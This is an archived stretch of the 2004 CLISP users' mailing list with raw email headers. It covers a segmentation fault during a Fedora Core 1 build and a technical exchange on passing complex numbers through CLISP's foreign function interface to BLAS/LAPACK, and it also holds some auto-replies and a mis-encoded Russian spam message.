àíãëèéñêëèé. From theobaldj@usagcls.net Fri Apr 30 07:30:18 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BJZ1u-0007Ny-Ce for clisp-list@lists.sourceforge.net; Fri, 30 Apr 2004 07:30:18 -0700 Received: from smtp02-02.mesa1.secureserver.net ([64.202.166.89]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BJZ1r-0008Ri-0i for clisp-list@lists.sourceforge.net; Fri, 30 Apr 2004 07:30:15 -0700 Received: (qmail 7546 invoked by uid 1000); 30 Apr 2004 14:30:11 -0000 Message-ID: <20040430143011.7544.qmail@smtp02-02.mesa1.secureserver.net> Delivered-To: theobaldj@usagcls.net Precedence: junk To: clisp-list@lists.sourceforge.net From: theobaldj@usagcls.net X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.9 BLANK_LINES_70_80 BODY: Message body has 70-80% blank lines Subject: [clisp-list] [Auto-Reply] Notification Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 30 07:31:01 2004 X-Original-Date: 30 Apr 2004 07:30:11 -0700 This is an automatic answer from USAGCLS Server. Please do not reply to this message. Our agent will contact you shortly. Thank you for using our services. USAGCLS NETWORK From ruhan.alpaydin@stanfordalumni.org Fri Apr 30 14:24:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BJfUH-0008Pf-DG for clisp-list@lists.sourceforge.net; Fri, 30 Apr 2004 14:24:01 -0700 Received: from cmsrelay03.mx.net ([165.212.11.112]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BJfUG-0006Qc-VQ for clisp-list@lists.sourceforge.net; Fri, 30 Apr 2004 14:24:01 -0700 Received: from uadvg131.cms.usa.net (165.212.11.131) by cmsoutbound.mx.net with SMTP; 30 Apr 2004 21:23:52 -0000 Received: from uwdvg008.cms.usa.net [165.212.8.8] by uadvg131.cms.usa.net (ASMTP/) via mtad (C8.MAIN.3.13N) with ESMTP id 140iDdVXY0085M31; Fri, 30 Apr 2004 21:23:51 GMT X-USANET-Auth: 165.212.8.8 AUTO ruhan.alpaydin@stanfordalumni.org uwdvg008.cms.usa.net Received: from 195.175.162.23 [195.175.162.23] by uwdvg008.cms.usa.net (USANET web-mailer CM.0402.7.07); Fri, 30 Apr 2004 21:23:49 -0000 From: Ruhan Alpaydin To: X-Mailer: USANET web-mailer (CM.0402.7.07) Mime-Version: 1.0 Message-ID: <609iDdVXx6448S08.1083360229@uwdvg008.cms.usa.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] seg fault during compilation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 30 14:25:00 2004 X-Original-Date: Sat, 01 May 2004 00:23:49 +0300 I get the following error during compilation of clisp-2.31-1. Please repl= y to this email address as well since I am not subscribed to the list. My system is a HP Linux box running Fedore Core 1.0. -Ruhan * * * * * [root@localhost with-gcc-wall]# make interpreted.mem =2E/lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW = -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 = Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 = ;; Loading file defseq.lisp ... ;; Loaded file defseq.lisp ;; Loading file backquote.lisp ... ;; Loaded file backquote.lisp ;; Loading file defmacro.lisp ...make: *** [interpreted.mem] Parcalanma Arizasi (means 'segmentation fault') ____________________________________________________________________ = From sds@gnu.org Sat May 01 19:11:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BK6SV-0004sa-Kw for clisp-list@lists.sourceforge.net; Sat, 01 May 2004 19:11:59 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BK6SR-0002qx-FC for clisp-list@lists.sourceforge.net; Sat, 01 May 2004 19:11:55 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BK6SK-0003AS-00; Sat, 01 May 2004 22:11:48 -0400 To: clisp-list@lists.sourceforge.net, Ruhan Alpaydin Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <609iDdVXx6448S08.1083360229@uwdvg008.cms.usa.net> (Ruhan Alpaydin's message of "Sat, 01 May 2004 00:23:49 +0300") References: <609iDdVXx6448S08.1083360229@uwdvg008.cms.usa.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Ruhan Alpaydin , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: seg fault during compilation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 1 19:12:02 2004 X-Original-Date: Sat, 01 May 2004 22:11:47 -0400 > * Ruhan Alpaydin [2004-05-01 00:23:49 +0300]: > > I get the following error during compilation of clisp-2.31-1. latest is 2.33. > My system is a HP Linux box running Fedore Core 1.0. this is a known problem with some FC1 installations. you probably also cannot build Emacs (crash on unexec). it might be helpful if you could try to describe your system in more details, e.g., cpu/ram/video &c. -- Sam Steingold (http://www.podval.org/~sds) running w2k When you are arguing with an idiot, your opponent is doing the same. From theobaldj@usagcls.net Sun May 02 02:56:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BKDiI-0003lt-9d for clisp-list@lists.sourceforge.net; Sun, 02 May 2004 02:56:46 -0700 Received: from smtp01-01.mesa1.secureserver.net ([64.202.166.90]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BKDiI-0006fD-7t for clisp-list@lists.sourceforge.net; Sun, 02 May 2004 02:56:46 -0700 Received: (qmail 3994 invoked by uid 1000); 2 May 2004 09:56:39 -0000 Message-ID: <20040502095639.3993.qmail@smtp01-01.mesa1.secureserver.net> Delivered-To: theobaldj@usagcls.net Precedence: junk To: clisp-list@lists.sourceforge.net From: theobaldj@usagcls.net X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.9 BLANK_LINES_70_80 BODY: Message body has 70-80% blank lines Subject: [clisp-list] [Auto-Reply] RE: Message Notify Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 2 02:57:01 2004 X-Original-Date: 2 May 2004 02:56:39 -0700 This is an automatic answer from USAGCLS Server. Please do not reply to this message. Our agent will contact you shortly. Thank you for using our services. USAGCLS NETWORK From ruhan.alpaydin@stanfordalumni.org Sun May 02 08:41:39 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BKJ63-0002MQ-J3 for clisp-list@lists.sourceforge.net; Sun, 02 May 2004 08:41:39 -0700 Received: from cmsrelay03.mx.net ([165.212.11.112]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BKJ60-0000H1-9F for clisp-list@lists.sourceforge.net; Sun, 02 May 2004 08:41:36 -0700 Received: from uadvg137.cms.usa.net (165.212.11.137) by cmsoutbound.mx.net with SMTP; 2 May 2004 15:41:30 -0000 Received: from uwdvg007.cms.usa.net [165.212.8.7] by uadvg137.cms.usa.net (ASMTP/) via mtad (C8.MAIN.3.13N) with ESMTP id 258ieBPpC0401M37; Sun, 02 May 2004 15:41:28 GMT X-USANET-Auth: 165.212.8.7 AUTO ruhan.alpaydin@stanfordalumni.org uwdvg007.cms.usa.net Received: from 81.212.183.110 [81.212.183.110] by uwdvg007.cms.usa.net (USANET web-mailer CM.0402.7.07); Sun, 02 May 2004 15:41:26 -0000 From: Ruhan Alpaydin To: X-Mailer: USANET web-mailer (CM.0402.7.07) Mime-Version: 1.0 Message-ID: <192ieBPpA1232S07.1083512486@uwdvg007.cms.usa.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: [Re: seg fault during compilation] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 2 08:42:02 2004 X-Original-Date: Sun, 02 May 2004 18:41:26 +0300 I installed 2.33 but the problem remains. Here is the specification of the computer : * Intel (R) Pentium 4 CPU 2.6 GHz * Video card : Intel 865 * MemTotal : 247412kB and Linux version : 2.4.22-1.2115.nptl Sincerely, -Ruhan Sam Steingold wrote: > > * Ruhan Alpaydin [2004-05-01 00:2= 3:49 +0300]: > > > > I get the following error during compilation of clisp-2.31-1. > = > latest is 2.33. > = > > My system is a HP Linux box running Fedore Core 1.0. > = > this is a known problem with some FC1 installations. > you probably also cannot build Emacs (crash on unexec). > = > it might be helpful if you could try to describe your system in more > details, e.g., cpu/ram/video &c. > = > -- = > Sam Steingold (http://www.podval.org/~sds) running w2k > > > When you are arguing with an idiot, your opponent is doing the same. > = ____________________________________________________________________ = From theobaldj@usagcls.net Sun May 02 09:38:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BKJz2-0006Lk-Kt for clisp-list@lists.sourceforge.net; Sun, 02 May 2004 09:38:28 -0700 Received: from smtp01-02.mesa1.secureserver.net ([64.202.166.91]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BKJz2-0003ky-EV for clisp-list@lists.sourceforge.net; Sun, 02 May 2004 09:38:28 -0700 Received: (qmail 6939 invoked by uid 1000); 2 May 2004 16:38:24 -0000 Message-ID: <20040502163824.6937.qmail@smtp01-02.mesa1.secureserver.net> Delivered-To: theobaldj@usagcls.net Precedence: junk To: clisp-list@lists.sourceforge.net From: theobaldj@usagcls.net X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.9 BLANK_LINES_70_80 BODY: Message body has 70-80% blank lines Subject: [clisp-list] [Auto-Reply] Hidden message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 2 09:39:05 2004 X-Original-Date: 2 May 2004 09:38:24 -0700 This is an automatic answer from USAGCLS Server. Please do not reply to this message. Our agent will contact you shortly. Thank you for using our services. USAGCLS NETWORK From dal@etsetb.upc.es Mon May 03 12:46:38 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BKjOf-0001au-Lt for clisp-list@lists.sourceforge.net; Mon, 03 May 2004 12:46:37 -0700 Received: from [211.186.85.45] (helo=hosttrade.net) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BKjOd-00031s-BN for clisp-list@lists.sourceforge.net; Mon, 03 May 2004 12:46:36 -0700 From: dal@etsetb.upc.es To: Clisp-list References: <21HEH352L49IF8LH@lists.sourceforge.net> In-Reply-To: <21HEH352L49IF8LH@lists.sourceforge.net> Message-ID: <14KKIBLHKAH4C66E@etsetb.upc.es> MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters Subject: [clisp-list] 1 05 - 5 1 - 86 Ì î ñê âà / Ð à ç ã î âî ð í û é à í ã ë èé ñ ê è é ÿ çûê - Ñ Ø À íöè Clisp-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 3 12:47:08 2004 X-Original-Date: Mon, 03 May 2004 19:46:26 +0000 Ladies and Gentlemen, À Âû çàäóìûâëèñü î òîì ÷åãî âàì ñòîèò íåçíàíèå àíãëèéñêîãî? Èëè ó âàñ íåò âðåìåíè íà òî ÷òî ïðèíåñåò âàì äåíüãè ,íîâûå ñâÿçè, ñâåæåå îùóùåíèå æèçíè. Èëè îí âàì íåíóæåí ïðè ïóòåøåñòâèÿõ èëè çàãðàíè÷íûõ êîìàíäèðîâêàõ? Èëè îí âàì ïî ðàáîòå íèê÷åìó? À ìîæåò âàøà ðàáîòà áûëà áû èíîé åñëè áû åãî çíàëè? ×åãî æå âû æäåòå -çâîíèòå íàì è ïðèõîäèòå 10-551-86 Ìîñêâà Ðîññèÿ From lisp-clisp-list@m.gmane.org Thu May 06 08:50:58 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BLl9G-0001y1-69 for clisp-list@lists.sourceforge.net; Thu, 06 May 2004 08:50:58 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BLl9F-0002Cm-Pz for clisp-list@lists.sourceforge.net; Thu, 06 May 2004 08:50:57 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BLl97-0000AE-00 for ; Thu, 06 May 2004 17:50:55 +0200 Received: from webproxy.imec.be ([146.103.254.11]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 06 May 2004 17:50:49 +0200 Received: from michael.goffioul by webproxy.imec.be with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 06 May 2004 17:50:49 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Michael Goffioul Lines: 11 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 146.103.254.11 (Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 6 08:51:39 2004 X-Original-Date: Thu, 6 May 2004 15:44:34 +0000 (UTC) Hi, Is it possible to use complex numbers with FFI? What I want to do is to pass complex numbers from LISP to C code (whatever the format received by the C function), but I don't know if it's possible, and how to declare my FFI function's arguments (function would be located in a shared lib, and declared with def-call-out). My goal is to access BLAS and LAPACK fortran routines from LISP. I know there's MatLisp, but AFAIK it doesn't support CLISP. Thanks. Michael. From Joerg-Cyril.Hoehle@t-systems.com Fri May 07 01:30:08 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BM0kC-0000W0-9G for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 01:30:08 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BM0kB-0002j9-LA for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 01:30:07 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 7 May 2004 10:28:09 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 7 May 2004 10:28:08 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A031D3526@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: michael.goffioul@imec.be, clisp-list@lists.sourceforge.net Cc: haible@ilog.fr Subject: [clisp-list] FFI with complex numbers? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 7 01:31:01 2004 X-Original-Date: Fri, 7 May 2004 10:25:26 +0200 Hi, Michael Goffioul asks: >Is it possible to use complex numbers with FFI? What I want to >do is to pass >complex numbers from LISP to C code (whatever the format >received by the C function) Since there's no standard format for complex numbers in C, the CLISP FFI doesn't provide standardized means to pass such objetcs. My guess is that a good enough approach is to pass real and imaginary part separately, each using a known format (e.g. double-float) and COERCE to this chosen format on the Lisp side. Is there anything else that would make you happy? You could also define a C-STRUCT {double real, imag}, write two functions to convert Common Lisps COMPLEX numbers to that structure and vice-versa and pass along FFI pointers to that a structure. You should then investigate DEF-C-TYPE and DEF-C-STRUCT and the constructors automatically generated by the FFI. Probably this approach looks like a better design than the above. Don't the library you want to interface to provide some representation of complex numbers already? Regards, Jorg. From goffioul@imec.be Fri May 07 02:05:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BM1II-0000K0-DO for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 02:05:22 -0700 Received: from mailgw1.imec.be ([146.103.254.19]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BM1IH-0001A3-Nd for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 02:05:21 -0700 Received: from e2k01.imec.be (e2k01.imec.be [146.103.0.4]) by mailgw1.imec.be (8.12.11/8.12.11) with ESMTP id i4793bbR031529; Fri, 7 May 2004 11:03:37 +0200 Received: from e2k02.imec.be ([146.103.0.5]) by e2k01.imec.be with Microsoft SMTPSVC(5.0.2195.6713); Fri, 7 May 2004 11:03:37 +0200 X-MIMEOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] FFI with complex numbers? Message-ID: <49056F0358EA754AB8420F7210B4CC07015E787C@e2k02.imec.be> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] FFI with complex numbers? Thread-Index: AcQ0DX7nK6BiCTikRkWz2C/asg5uwAAAcHIQ From: "Goffioul Michael" To: "Hoehle, Joerg-Cyril" , Cc: X-OriginalArrivalTime: 07 May 2004 09:03:37.0530 (UTC) FILETIME=[2EF859A0:01C43412] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 7 02:06:01 2004 X-Original-Date: Fri, 7 May 2004 11:03:37 +0200 > Michael Goffioul asks: > >Is it possible to use complex numbers with FFI? What I want to=20 > >do is to pass=20 > >complex numbers from LISP to C code (whatever the format=20 > >received by the C function) >=20 > Since there's no standard format for complex numbers in C,=20 "complex" type modifier is beginning to appear (I don't know if it's a recent standard from *C99* or a gcc extensions), but I don't to which memory model it corresponds. Anyway, I guess that mapping a LISP complex object to double* is reasonable. > the CLISP FFI doesn't provide standardized means to pass such objetcs. > My guess is that a good enough approach is to pass real and=20 > imaginary part separately, each using a known format (e.g.=20 > double-float) and COERCE to this chosen format on the Lisp side. >=20 > Is there anything else that would make you happy? Well, yes: a MatLisp version that work with CLISP... :-) >=20 > You could also define a C-STRUCT {double real, imag}, write=20 > two functions to convert Common Lisps COMPLEX numbers to that=20 > structure and vice-versa and pass along FFI pointers to that=20 > a structure. > You should then investigate DEF-C-TYPE and DEF-C-STRUCT and=20 > the constructors automatically generated by the FFI. Probably=20 > this approach looks like a better design than the above. >=20 > Don't the library you want to interface to provide some=20 > representation of complex numbers already? The target math library is BLAS/LAPACK, which are FORTRAN libraries. In FORTRAN, complex numbers are represented as real and imag part next to each other: for example, a single complex number can be mapped to a real array of 2 elements (this would corresponds the structure you mentionned above). Writing conversion routines is a possibility, but I fear that efficiency would be low, especially if you want to convert large complex arrays (if you need to do it in a loop). Is there a way to make C code access LISP variables directly (without copying)? Michael. From Joerg-Cyril.Hoehle@t-systems.com Fri May 07 03:40:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BM2mi-0001BP-Bf for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 03:40:52 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BM2mh-0006xr-UA for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 03:40:52 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 7 May 2004 12:40:09 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 7 May 2004 12:39:01 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A031D3585@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: goffioul@imec.be, clisp-list@lists.sourceforge.net Cc: haible@ilog.fr Subject: [clisp-list] FFI with complex numbers? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 7 03:41:09 2004 X-Original-Date: Fri, 7 May 2004 12:38:59 +0200 Goffioul Michael wrote: >Writing conversion routines is a possibility, but I fear that=20 >efficiency >would be low, especially if you want to convert large complex arrays >(if you need to do it in a loop). Is there a way to make C code access >LISP variables directly (without copying)? AFAIK, CLISP doesn't have specialized float arrays anyway (IIRC). Sam/Bruno, please correct me if my memory is wrong. You could in theory obtain pointers to Lisp objects. This is really a = dangerous thing to do in the presence of a moving GC. While some code = may work for you, somebody else using your code but also custom = SIGALARM handlers may trigger GC (not that installing a Lisp-level = SGIALARM handler is supported anyway, AFAIK). FFI callbacks may also = trigger GC. That's why in the CLISP FFI everything is copyied via the stack to = fixed locations (next to the assumption that it's preferrable to let = foreign code corrupt the stack than the Lisp heap :). The best trade-off could be a conversion-routine in C, but I'm not sure = it would gain much because I believe CLISP's complex numbers use = unboxed representations anyway, since both real and imaginary can be of = any real number type, e.g. integer, thus the internal representation is = certainly not an array of two doubles. Even the C code would have to be = prepared for conversion via COERCE 'double-float. I'd suggest you go along a simple solution, bear with copying, and = investigate whether that really is the performance bottleneck. Gievn = the speed of many machines, this "good enough" approach has been = working for many people. (I could tell you how some of the CLISP modules exhibit poor = performance, yet nobody ever complained. People are generally happy = that it just works.) Regards, J=F6rg H=F6hle. From sds@gnu.org Fri May 07 07:08:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BM627-0004nc-8N for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 07:08:59 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BM626-0008LS-7l for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 07:08:58 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i47E8mIX003795; Fri, 7 May 2004 10:08:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A031D3585@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Fri, 7 May 2004 12:38:59 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A031D3585@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FFI with complex numbers? Sender: 